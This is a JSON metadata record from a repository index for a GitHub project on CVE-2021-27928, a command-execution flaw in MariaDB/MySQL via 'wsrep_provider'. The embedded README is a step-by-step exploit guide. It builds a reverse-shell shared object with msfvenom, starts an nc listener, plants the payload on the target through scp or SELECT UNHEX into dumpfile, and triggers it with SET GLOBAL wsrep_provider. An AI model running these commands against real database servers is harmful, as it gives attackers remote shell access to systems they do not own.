{"id":21616690,"url":"https://github.com/al1ex/cve-2021-27928","last_synced_at":"2025-04-11T07:33:49.285Z","repository":{"id":45568428,"uuid":"358154501","full_name":"Al1ex/CVE-2021-27928","owner":"Al1ex","description":"CVE-2021-27928 MariaDB/MySQL-'wsrep provider' 命令注入漏洞","archived":false,"fork":false,"pushed_at":"2023-06-29T15:57:12.000Z","size":1414,"stargazers_count":62,"open_issues_count":2,"forks_count":16,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-25T05:07:31.968Z","etag":null,"topics":["cve","cve-2021-27928","mariadb"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-04-15T06:40:49.000Z","updated_at":"2025-02-28T20:14:37.000Z","dependencies_parsed_at":"2022-09-01T16:20:39.085Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2021-27928","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-27928","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-27928/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-27928/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-27928/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2021-27928/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248358856,"owners_count":21090445,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","cve-2021-27928","mariadb"],"created_at":"2024-11-24T22:15:03.141Z","updated_at":"2025-04-11T07:33:49.230Z","avatar_url":"https://github.com/Al1ex.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"## Information\r\n\r\n~~~\r\nExploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution\r\nDate: 03/18/2021\r\nExploit Author: Central InfoSec\r\nVersion: \r\n\tMariaDB 10.2 before 10.2.37\r\n\t10.3 before 10.3.28\r\n\t10.4 before 10.4.18 \r\n\t10.5 before 10.5.9\r\nPercona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL\r\nTested on: Linux\r\nCVE : CVE-2021-27928\r\n~~~\r\n\r\n## How to Exploit\r\n\r\nStep 1: Create the reverse shell payload\r\n\r\n```\r\nmsfvenom -p linux/x64/shell_reverse_tcp LHOST=\u003cip\u003e LPORT=\u003cport\u003e -f elf-so -o CVE-2021-27928.so\r\n```\r\n\r\n![payload](img/payload.png)\r\n\r\nStep 2: Start a listener\r\n\r\n```\r\nnc -lnvp \u003cport\u003e\r\n```\r\n\r\n![nc](img/nc.png)\r\n\r\nStep 3: Copy the payload to the target machine\r\n\r\n**Via SCP**\r\n\r\n```\r\nscp CVE-2021-27928.so \u003cuser\u003e@\u003cip\u003e:/tmp/CVE-2021-27928.so\r\n```\r\n**Via Dumpfile**\r\n```\r\npython3 -c 'print(open(\"CVE-2021-27928.so\", \"rb\").read().hex())'\r\nmysql -u \u003cuser\u003e -p -h \u003cip\u003e\r\nSELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';\r\n```\r\n\r\nStep 4：Execute the payload\r\n```\r\nmysql -u \u003cuser\u003e -p -h \u003cip\u003e\r\nSET GLOBAL wsrep_provider=\"/tmp/CVE-2021-27928.so\";\r\n```\r\n\r\n![shell](img/shell.png)\r\n\r\n## Reference\r\n\r\nhttps://www.exploit-db.com/exploits/49765\r\n\r\nhttps://jira.mariadb.org/browse/MDEV-25179\r\n\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2021-27928","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2021-27928","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2021-27928/lists"}